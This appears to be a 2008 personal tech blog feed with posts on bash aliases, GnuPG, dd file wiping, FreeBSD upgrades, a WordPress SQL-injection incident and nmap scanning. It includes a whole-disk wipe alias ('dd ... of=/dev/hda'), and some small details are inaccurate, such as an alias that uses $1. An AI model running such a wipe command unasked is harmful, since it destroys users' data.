&lt;p&gt;If you are interested in creating your own one-time multi-factor authentication system using paper instead of an electronic device you can check out, &lt;a href=&#34;https://www.grc.com/ppp&#34;&gt;perfect paper passwords&lt;/a&gt;.  Open source applications have already been implemented.  Someone has already written a PAM plugin for Linux so you can authenticate SSH sessions with this method.  There is even a PHP function for creating secure web logins.  The method described is even more secure than Verisign but you do have to print out paper cards every 100 or so logins.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 6</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-6/index.html" />
		<updated>2008-05-03T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-6/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://blog.jeremymartin.name/2008/04/know-your-environment-php-server-module.html&#34;&gt;Server Environment Discovery Tool&lt;/a&gt; - This is an sweet time saver for knowing what services a server offers.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://tech.yahoo.com/blogs/null/90325&#34;&gt;Feds: We will search through your laptop files at the border&lt;/a&gt; - Well this seems crazy to me.  If you are traveling abroad you may be subject to search and seizure of your laptop/cellphone data.  I&amp;rsquo;ll quote good ol&amp;rsquo; Ben Franklin, &amp;ldquo;They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety.&amp;rdquo;  I recommend using a program like &lt;a href=&#34;http://www.truecrypt.org/&#34;&gt;truecrypt&lt;/a&gt; for whole drive encryption.  I think it would also be fun to write over the &amp;ldquo;blank spots&amp;rdquo; of your hard drive with Rick Astley videos.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://seattletimes.nwsource.com/html/microsoft/2004379751_msftlaw29.html&#34;&gt;Microsoft device helps police pluck evidence from cyberscene of crime&lt;/a&gt; - Microsoft apprently made a USB device that allows law enforcement to quickly decrypt passwords and perform other forensic tasks.  I am guessing it will decrypt Windows passwords easily since this has &lt;a href=&#34;/security/crack-windows-xp-and-vista-passwords-in-seconds/&#34;&gt;already been done&lt;/a&gt;, but what good is it for people that operating systems with real encryption and authentication methods?&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/opera-logo.png&#34; alt=&#34;&#34; /&gt;&lt;a href=&#34;http://arstechnica.com/news.ars/post/20080428-hands-on-opera-9-5-beta-2-improves-speed-adds-features.html&#34;&gt;Opera 9.5 beta 2 improves speed, adds features&lt;/a&gt; - The author of this artcile does his own tests and finds Opera is much faster than Firefox and the new beta version of Firefox.  I have always liked Opera for many reasons and always knew opera was lighter and faster than other browsers. The artcile is a well written review of the newest version.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://support.microsoft.com/kb/276304&#34;&gt;Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords&lt;/a&gt; - An actual error in Microsoft Windows with resolution.  Unbelievable!&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.washingtonpost.com/wp-dyn/content/article/2008/04/26/AR2008042600260.html&#34;&gt;Hackers Focus Efforts on Firefox, Safari&lt;/a&gt; - An intersting article about hackers targeting the ever popular Firefox and Safari internet browsers.  I suspect hackers will be targeting Firefox even more in the future.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://tombuntu.com/index.php/2008/04/25/10-tips-for-after-you-install-or-upgrade-ubuntu/&#34;&gt;10 Tips for After You Install or Upgrade Ubuntu&lt;/a&gt; - If you are new to Linux you are probably using Ubuntu.  If you are new to Ubuntu you should probably check this article out. :)&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.ibm.com/developerworks/library/x-youtubeapi/index.html?ca=drs-&#34;&gt;Use the YouTube API with PHP&lt;/a&gt; - A neat in depth article about using Youtube&amp;rsquo;s API with PHP.  I havn&amp;rsquo;t thought of a way to use this yet, but very cool.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Adsense Split Testing Results for 250x250 vs 300x250</title>
		<link href="https://www.marksanborn.net/php/adsense-split-testing-results-for-250x250-vs-300x250/index.html" />
		<updated>2008-04-30T00:00:00Z</updated>
		<id>https://www.marksanborn.net/php/adsense-split-testing-results-for-250x250-vs-300x250/index.html</id>
		<content type="html">&lt;p&gt;If you remember back to the post I wrote, &lt;a href=&#34;/php/using-php-to-determine-which-adsense-ad-works-best/&#34;&gt;Using PHP to Determine Which Adsense Ad Works Best&lt;/a&gt;, we explored ways to split test the performance of Adsense with the help of PHP.  I had also promised to share the results of my testing for the month of April.  Below are my results.&lt;/p&gt;

&lt;p&gt;I was surprised to find that on my particular blog the smaller Adsense ad was significantly more effective than the larger 300x250 ad.  This is great news for you since there will be less ad space and more content.&lt;/p&gt;

&lt;p&gt;Here are my results for the split testing of the two ad mediums.&lt;/p&gt;

&lt;h3&gt;250x250&lt;/h3&gt;

&lt;p&gt;48.27% of the clicks
.59 CTR
eCPM was 171% higher than 300x250 resulting in 73.03% of the revenue.&lt;/p&gt;

&lt;h3&gt;300x250&lt;/h3&gt;

&lt;p&gt;51.72% of the clicks
.64 CTR
eCPM resulted in 26.97% of the revenue.&lt;/p&gt;

&lt;p&gt;Although the 300x250 ad had a slightly higher click through rate, the 250x250 ad out performed the other ad in terms of net revenues.&lt;/p&gt;

&lt;p&gt;Have you split tested your ads?  If so please share your results.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Creating Useful Bash Aliases</title>
		<link href="https://www.marksanborn.net/linux/creating-useful-bash-aliases/index.html" />
		<updated>2008-04-23T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/creating-useful-bash-aliases/index.html</id>
		<content type="html">&lt;p&gt;Bash can be configured to recognize any word you want and link it to a command.  This is called an alias.  This is can be used for many reasons.  For instance, you could assign a short word like dvdbackupnow to execute a very long command that you don&amp;rsquo;t want to memorize each time you want to back up a DVD.  We will explore a few useful aliases and how to add them to bash.&lt;/p&gt;

&lt;p&gt;To create an alias you need to modify &amp;lsquo;&lt;strong&gt;/home/user/.bashrc&lt;/strong&gt;&amp;rsquo;.  Towards the bottom of the file you can add lines for aliases.  Most people will find that they already have at least one default alias.  Usually the &amp;lsquo;&lt;strong&gt;ls&lt;/strong&gt;&amp;rsquo; command is mapped to &amp;lsquo;&lt;strong&gt;ls -G&lt;/strong&gt;&amp;rsquo;.  The &amp;lsquo;&lt;strong&gt;-G&amp;rsquo;&lt;/strong&gt; flag tells the program to print directories in color.&lt;/p&gt;

&lt;p&gt;Once the &amp;lsquo;&lt;strong&gt;.bashrc&lt;/strong&gt;&amp;rsquo; file is modified you will have to re-login to that shell for the settings to take effect.&lt;/p&gt;

&lt;h3&gt;Example Aliases&lt;/h3&gt;

&lt;p&gt;Lets say you maintain multiple servers using ssh with different IP addresses and varying user names.  You could use aliases to minimize typing and having to memorize IP addresses and names.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias server1=&#39;ssh 192.168.1.102 -l pete&#39;
alias server2=&#39;ssh 192.168.1.103 -l larry&#39;
alias server3=&#39;ssh www.myremoteserver.com -l bob&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You could make &lt;a href=&#34;/howto/use-rsync-for-daily-weekly-and-full-monthly-backups/&#34;&gt;a system backup script&lt;/a&gt; and whenever you feel like you need to make a quick unscheduled backup you could use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias backupNow=&#39;sh /path/to/my/backupscript.sh&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You could make an alias to show open ports in your system.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias openports=&#39;netstat -nape --inet&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It is often helpful to make an alias for really long directories that you navigate to a lot.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias g2path=&#39;cd /go/to/this/path/that/is/really/long/and/annoying/to/type; ls&#39;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For the ultra paranoid you can set up an alias to &lt;a href=&#34;/howto/wiping-a-hard-drive-with-dd/&#34;&gt;wipe your hard drive&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias wipenow=&#39;dd if=/dev/urandom of=/dev/hda&#39;&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Using aliases with variables&lt;/h3&gt;

&lt;p&gt;You can use variables in aliases if you want to get more use out of them.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;alias psx=&amp;quot;ps -auxw ¦ grep $1&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will except a variable in the alias.  For example you could type this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ psx ssh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will print out detailed information about the ssh process.&lt;/p&gt;

&lt;p&gt;By setting variables into your alias you can make your alias have multiple uses.  For example our &lt;strong&gt;&amp;lsquo;psx&lt;/strong&gt;&amp;rsquo; alias can be used to find all the processes started by user, &amp;lsquo;&lt;strong&gt;mark&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$psx mark&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you have a long command that you type frequently consider putting it in as an alias.  If you think of any useful alias ideas let us know in the comments below!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Encrypt a File on Linux or FreeBSD with GnuPG</title>
		<link href="https://www.marksanborn.net/security/encrypt-a-file-on-linux-or-freebsd-with-gnupg/index.html" />
		<updated>2008-04-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/encrypt-a-file-on-linux-or-freebsd-with-gnupg/index.html</id>
		<content type="html">&lt;p&gt;If you ever wanted to quickly encrypt a file in Linux or FreeBSD without complicated keyrings and key files this is the post for you.  In this guide we will use gnupg to quickly encrypt any file in Linux or FreeBSD.  We will keep it simple and easy and leave out public/private key ring authentication and stick with simple password phrase encryption.  Unlike password protection in zip files and other weak security implementation, PGP or GnuPG is a very secure way of encrypting files.  It is pretty easy to set up so lets get going.&lt;/p&gt;

&lt;h3&gt;Linux&lt;/h3&gt;

&lt;p&gt;Start by installing gnupg
For Debian and Ubuntu systems use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# apt-get install gnupg&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;Installing GnuPG on FreeBSD&lt;/h3&gt;

&lt;p&gt;To install GnuPG with FreeBSD&amp;rsquo;s ports package management system use:&lt;/p&gt;

&lt;p&gt;`# cd /usr/ports/security/gnupg&lt;/p&gt;

&lt;h1&gt;make install clean`&lt;/h1&gt;

&lt;p&gt;You also need to install pinentry.  This is the program gnupg uses to create password phrases.&lt;/p&gt;

&lt;p&gt;`# cd /usr/local/ports/security/pinentry&lt;/p&gt;

&lt;h1&gt;make install clean`&lt;/h1&gt;

&lt;p&gt;If you don&amp;rsquo;t install this you will get an error when you run gnupg like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gpg-agent[13068]: can’t connect server:&lt;/code&gt;ERR 67109133 can’t exec &lt;code&gt;/usr/local/bin/pinentry’: No such file or directory’
gpg-agent[13068]: can’t connect to the PIN entry module: IPC connect call failed
gpg-agent[13068]: command get_passphrase failed: No pinentry
gpg: problem with the agent: No pinentry&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I am not sure why FreeBSD doesn&amp;rsquo;t mark this as a dependency.&lt;/p&gt;

&lt;h3&gt;Encrypting the File&lt;/h3&gt;

&lt;p&gt;To encrypt the file all you have to do is:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gpg -c someFile.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To decrypt you can use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gpg someFile.gpg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You will probably want to destroy the original unencrypted file.  You can &lt;a href=&#34;/security/securely-wipe-a-file-with-dd/&#34;&gt;Securely Wipe a File with DD&lt;/a&gt;.  By wiping the file with DD the original file will not be easily retrievable on your hard drive.  This step is usually necessary because simply deleting doesn&amp;rsquo;t actually destroy the file.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Numbering Each Line in a Text File</title>
		<link href="https://www.marksanborn.net/linux/numbering-each-line-in-a-text-file/index.html" />
		<updated>2008-04-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/numbering-each-line-in-a-text-file/index.html</id>
		<content type="html">&lt;p&gt;Sometimes we are given an error message that references a line number in a text file.  We can number each line so we can find the error message right a way.  In fact, we can print out the exact line that contains the error.  This is often useful for finding errors in PHP.  If there is an error in the syntax of PHP it will give you the line number it is on.  Often times I don&amp;rsquo;t work in an environment that shows line numbers and I am not about to count each line by hand.&lt;/p&gt;

&lt;p&gt;To print out the exact line with cat you can use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ cat -n someFile.txt | grep -w 500&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This would print out the 500th line.&lt;/p&gt;

&lt;h3&gt;Command Breakdown&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;cat&lt;/strong&gt; - this command will concatenate (print) text.
&lt;strong&gt;-n&lt;/strong&gt; - the &amp;lsquo;n&amp;rsquo; switch tells cat to add line numbers.
&lt;strong&gt;|&lt;/strong&gt; - the | or AKA pipe will take the results from &amp;lsquo;cat -n&amp;rsquo; and pipe them to grep
&lt;strong&gt;grep&lt;/strong&gt; - this is a text search program.  This will look for certain strings
&lt;strong&gt;-w&lt;/strong&gt; - the w command tells grep to only match whole words
&lt;strong&gt;500&lt;/strong&gt; - this is the &amp;ldquo;word&amp;rdquo; we are looking for.&lt;/p&gt;

&lt;h3&gt;Adding Line Numbers to Vim&lt;/h3&gt;

&lt;p&gt;Open the file with Vim:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ vim someFile.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then add the show line numbers option by typing the following:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;:set number&lt;/code&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup: Week 5</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-5/index.html" />
		<updated>2008-04-19T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-5/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://bsdtalk.blogspot.com/&#34;&gt;BSDTalk&lt;/a&gt; - A cool podcast that discusses FreeBSD.  They interview many FreeBSD developers and have some interesting discussion.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://hehe2.net/linux-general/the-7-habits-of-highly-effective-linux-users/&#34;&gt;The 7 Habits of Highly Effective Linux Users&lt;/a&gt; - An interesting article with 7 great tips for beginners learning Linux.  Although the advice the author gives is very basic and common knowledge, he explains his advice very well.  I think Linux beginners would get a lot of value out of reading this.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://taosecurity.blogspot.com/&#34;&gt;TaoSecurity&lt;/a&gt; - This is a cool blog I found that discusses various security topics.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/04/lighttpd.gif&#34; alt=&#34;&#34; /&gt;&lt;a href=&#34;http://www.lighttpd.net/&#34;&gt;Lighttpd&lt;/a&gt; - Although I have yet to try this web server it looks very promising.  It is supposed to be a lot lighter weight and faster than apache.  I might use this on my test server.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://davidwalsh.name/&#34;&gt;David Walsh Blog&lt;/a&gt; - If you are into web development with PHP and starting to implement AJAX this site is great.  It is updated daily with lots of neat tips and how tos.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.sandboxie.com/&#34;&gt;Sandboxie&lt;/a&gt; - If you haven&amp;rsquo;t tried this program yet you should.  It is a program that runs in windows that allows you to open programs in a &amp;ldquo;sandbox&amp;rdquo; or a virtual environment that does not have access to your hard drive.  In other words you could open a virus with this program.  After you close the sandbox the virus is like it was never there.  This is useful if you want to try demo programs without the risk.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.chkrootkit.org/&#34;&gt;chkrootkit&lt;/a&gt; - This is program is pretty much essential if you are looking for root kits.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.subnet mask.info/&#34;&gt;Network Calculators&lt;/a&gt; - If you are setting up a new router or firewall rules and you forget the binary structure of an IP address this site will help you calculate subnet masks and how many nodes are available in the network.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Finding Ports to Install in FreeBSD</title>
		<link href="https://www.marksanborn.net/freebsd/finding-ports-to-install-in-freebsd/index.html" />
		<updated>2008-04-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/finding-ports-to-install-in-freebsd/index.html</id>
		<content type="html">&lt;p&gt;FreeBSD is founded on the idea that compiling is faster/better than using pre-made packages.  To make compiling easy FreeBSD uses a &amp;ldquo;package management&amp;rdquo; system called ports; however, it is difficult to find the port to compile since FreeBSD&amp;rsquo;s package management system is really just empty directories with build instructions.  These directories are categorized by the package application so that you can browse them, but it is difficult sometimes to find a package.&lt;/p&gt;

&lt;p&gt;One way to find ports is by using the echo command and some wild cards.  This is my favorite method.  For example if we were looking to install the Apache web server we could use this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;echo /usr/ports/*/*apache*&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you are feeling lucky you can even use the change directory command to go right into the port&amp;rsquo;s directory.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /usr/ports/*/*portupgrade*&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;An alternative way to find ports would be to use ports built in search feature.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /usr/ports
make search name=apache
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;You could also visit &lt;a href=&#34;http://www.freebsd.org/ports/&#34;&gt;FreeBSD&amp;rsquo;s online ports search&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To stay updated with new ports you can check out &lt;a href=&#34;http://www.freebsd.org/ports/&#34;&gt;FreshPorts&lt;/a&gt;.  FreshPorts offers a service that will email you anytime there is a new version or change to a specific port.  This is really helpful if you are running a production server that has a mission critical port on it, like an Apache web server.&lt;/p&gt;

&lt;p&gt;Using one of these methods you are sure to find what you are looking for.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>First Time Upgrading FreeBSD</title>
		<link href="https://www.marksanborn.net/freebsd/first-time-upgrading-freebsd/index.html" />
		<updated>2008-04-17T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/first-time-upgrading-freebsd/index.html</id>
		<content type="html">&lt;p&gt;If you remember from my post on my &lt;a href=&#34;/freebsd/initial-impression-of-freebsd-70/&#34;&gt;Initial Impression of FreeBSD 7.0&lt;/a&gt; I am fairly new at using FreeBSD.  After my recent &lt;a href=&#34;/security/sql-injection-attack-and-updating-wordpress/&#34;&gt;Wordpress SQL Injection Attack&lt;/a&gt; I went around updating everything that I could get my hands on.  A FreeBSD server happened to be one of those things that need updating.&lt;/p&gt;

&lt;p&gt;Fortunately FreeBSD has a great utility to keep everything updated.  It&amp;rsquo;s called portupgrade.  If you don&amp;rsquo;t already have it installed you can install it through ports.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# /usr/ports/ports-mgmt/portupgrade&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now before you start the portupgrade process lets find out what ports actually need updating.  This way if we find any programs that we would rather have the old version we exclude it.  Another reason we want to know which programs need updating is to find applications that may require special updating instructions.&lt;/p&gt;

&lt;p&gt;To find the programs that are out of date run:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# pkg_version -v&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This is also a good time to watch the list and find packages that you may no longer need.&lt;/p&gt;

&lt;p&gt;To update all ports use:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# portupgrade -a&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want portupgrade to ask you each time before updating you can use &lt;strong&gt;interactive mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# portupgrade -ai&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Maybe you ran a portaudit and only one of the programs needs a security upgrade and you just want to upgrade that one for now.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# portupgrade -R firefox&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;That is about all there is to updating your entire FreeBSD system.  I sure wish I could update every program in Windows with one simple command.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>SQL Injection Attack and Updating Wordpress</title>
		<link href="https://www.marksanborn.net/security/sql-injection-attack-and-updating-wordpress/index.html" />
		<updated>2008-04-16T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/sql-injection-attack-and-updating-wordpress/index.html</id>
		<content type="html">&lt;p&gt;Well, today one of the blogs that I maintain for someone was compromised by an SQL injection.  The hacker had apparently injected an invisible iframe that contained that loaded a website that contained a trojan.  They had also placed invisible links to casinos, porn, and other shady sites.&lt;/p&gt;

&lt;p&gt;The attacker was able to accomplish this attack due to a vulnerability in Wordpress.  As with any code there is always a hole; it is just a matter of time before someone will find it.  Fortunately Wordpress actually found the vulnerability long ago and it was fixed in a newer version.  This blog was running Wordpress 2.0.  I guess I wasn&amp;rsquo;t maintaining it very well.  I neglected to upgrade it to the newer version of Wordpress costing me frustration.  Fortunately the attack was caught within a few days before it did too much damage.&lt;/p&gt;

&lt;p&gt;There were two warnings that allowed me to find the SQL injection exploit.  The first warning was received when I noticed the stats for the blog were dropping rapidly.  At first I attributed this to Google changing their algorithm and my blog was suffering from poor page rank since a rapid drop in visitors has happened before.  The next warning was brought to me by an editor of the blog.  He had said his anti-virus program had alerted him that the website was redirecting him to a known trojan site.  The anti-virus that caught the attack was &lt;a href=&#34;http://www.eset.com/&#34;&gt;NOD32&lt;/a&gt;.  This is another example of why I think NOD32 is the best anti-virus.&lt;/p&gt;

&lt;p&gt;After doing a Google search for iframe SQL attacks in Wordpress I found many articles and people that had the same problem as I had.  I even found an article on the Wordpress admin page that caught my attention.  The article was, &lt;a href=&#34;http://ma.tt/2008/04/securityfocus-sql-injection-bogus/&#34;&gt;SecurityFocus SQL Injection Bogus&lt;/a&gt;  The first paragraph says that the vulnerability doesn&amp;rsquo;t exist and people are simply &amp;ldquo;crying wolf&amp;rdquo;.  I was frustrated at first by the artcile because the vulnerability was real and I was effected by it.&lt;/p&gt;

&lt;p&gt;After further reading I found out that he was taking about people that claimed that the vulnerability still existed in the newer versions of Wordpress.  The vulnerability definitely still effects Wordpress version 2.0&lt;/p&gt;

&lt;h3&gt;The Moral of the Story&lt;/h3&gt;

&lt;p&gt;Ironically I teach security practices like &lt;a href=&#34;/linux/add-port-knocking-to-ssh-for-extra-security/&#34;&gt;port knocking&lt;/a&gt; and &lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;picking strong passwords&lt;/a&gt; but I fail to update a blog that I am supposed to be maintaining.  One of the most frequent causes for exploits is out dated software.  Wordpress blogs are no exception.&lt;/p&gt;

&lt;p&gt;So why didn&amp;rsquo;t I update it?  I didn&amp;rsquo;t update the blog for multiple reasons:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;I was afraid something might break&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;It takes time to do an update&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Everything works fine so why update?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same &lt;a href=&#34;http://ma.tt/2008/04/securityfocus-sql-injection-bogus/&#34;&gt;article&lt;/a&gt; that I was frustrated at first gave clear reasons for each of my excuses that I had for not updating Wordpress, as if being hacked by an injection vulnerability wasn&amp;rsquo;t a good enough reason!&lt;/p&gt;

&lt;p&gt;I have now set up Wordpress with subversion to make updating easier.  The next time Wordpress comes out with an update I will be one of the first to download and install it!&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Securely Wipe a File with DD</title>
		<link href="https://www.marksanborn.net/security/securely-wipe-a-file-with-dd/index.html" />
		<updated>2008-04-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/securely-wipe-a-file-with-dd/index.html</id>
		<content type="html">&lt;p&gt;Sometimes we have sensitive data that we want to get rid of.  Since deleting a file doesn&amp;rsquo;t actually prevent it from being recovered we need to do some extra steps to ensure that it can&amp;rsquo;t be recovered.  In this post we will use DD to complete this task.  DD is often the tool digital forensics use to duplicate hard drives we will use it for a more destructive use so that our data can&amp;rsquo;t be recovered.&lt;/p&gt;

&lt;p&gt;If you looking for a way to wipe an entire hard drive check out,  &lt;a href=&#34;/howto/wiping-a-hard-drive-with-dd/&#34;&gt;Wiping a Hard Drive with DD&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Before deleting the sensitive file we will write over top of it with random characters.&lt;/p&gt;

&lt;p&gt;First we find out how many characters we have to write over:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ ls -l&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will list the directory contents.  Find your file and remember or write down the byte size.  It might look like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-rw-r--r--  1 mark  mark    21 Apr 15 22:40 test.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In this case the we have 21 bytes&lt;/p&gt;

&lt;p&gt;Now that we know we have 21 bytes to write over we will use this command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dd if=/dev/urandom of=test.txt bs=21 count=1 conv=notrunc&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;dd Command Explanation&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;dd&lt;/strong&gt; - This is the program that we are running.  It is short for data definition and sometimes called data destroyer because it is infamous for accidental data destruction.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;if=/dev/urandom&lt;/strong&gt; - &amp;lsquo;if&amp;rsquo; stands for &lt;strong&gt;I&lt;/strong&gt;n &lt;strong&gt;F&lt;/strong&gt;ile, AKA the source.  This is the file, blocks, or device that dd will read from.  In this case /dev/urandom is a special device that comes with Linux and BSD that will produce an endless supply of random characters (In our example we will only need 21).&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;of=test.text&lt;/strong&gt; - &amp;lsquo;of&amp;rsquo; stands for &lt;strong&gt;O&lt;/strong&gt;ut &lt;strong&gt;F&lt;/strong&gt;ile.  We are writing over a file so we type our file name here.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;count=1&lt;/strong&gt; - The count tells dd how many times to repeat.  If set count to &amp;lsquo;&lt;strong&gt;2&lt;/strong&gt;&amp;rsquo; it would produce 42 bytes of data.  We only want it to write over the current data not create more than what we need, so we will set this to &amp;lsquo;&lt;strong&gt;1&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;conv=notrunc&lt;/strong&gt; - dd by default will stop writing and truncate (delete the rest) the file if you specify a byte size that is less than the file.  You really don&amp;rsquo;t need to have this part of the command to get the job done but it will help minimize errors.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Deleting the File&lt;/h3&gt;

&lt;p&gt;Now that the file you want to securely wipe has been written over it is much harder for someone to retrieve it.  As of right now it is pretty much impossible to recover the file using software.  You would have to use an expensive machine and physically look through the hard drive for the data.  Even then you are not guaranteed to be able to find/recover the data.  The only thing left to do is actually delete it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;rm test.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you want to be really sure your data is gone you will need to write over the file 7 times.  This is the current Department of Defense procedure for wiping sensitive data.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;for ((n=1;n&amp;lt;8;n++)); do COMMAND; done;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This is the standard one line for loop that will repeat a command.  The above command will repeat 7 times.  Just replace the COMMAND part with your dd command.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Finding a Computer's MAC Address on the Network</title>
		<link href="https://www.marksanborn.net/security/finding-a-computers-mac-address-on-the-network/index.html" />
		<updated>2008-04-14T00:00:00Z</updated>
		<id>https://www.marksanborn.net/security/finding-a-computers-mac-address-on-the-network/index.html</id>
		<content type="html">&lt;p&gt;Sometimes we need to know the MAC address of a specific computer for multiple reasons.  For example, I needed to know the MAC address of one of my computers so I could tell the router to assign a specific IP address via DHCP.  Another reason you need to know the MAC address is so you can block a specific computer from talking to you.  Maybe you need to know the MAC address so you can allow only that computer to communicate with you.  There are many reasons for knowing a MAC address of a computer.  Some reasons good other times it is used with bad intentions.  Like port sniffing packets with a specific MAC address.&lt;/p&gt;

&lt;p&gt;You may say well thats easy a simple ipconfig (on windows) or ifconfig (linux) will tell me the MAC address of my NIC.  Well you are right, but sometimes it is not feasible or efficient to physically check the MAC address.  This is why I will show you how you can use &lt;a href=&#34;http://nmap.org/&#34;&gt;nmap&lt;/a&gt; or nbtstat to determine the computer&amp;rsquo;s MAC address remotely.&lt;/p&gt;

&lt;p&gt;To find the MAC address and other interesting information on a remote IP or hostname use the following command:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;nmap -Av -T4 192.168.1.101&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Look for the line that says MAC address.  Be careful when port scanning most of the time it will set off IDS (Intrusion Detection Systems) and your IP address will be logged.  So, port scan only computers you own.&lt;/p&gt;

&lt;p&gt;If the computer is on your same network you can use this command from windows:&lt;/p&gt;

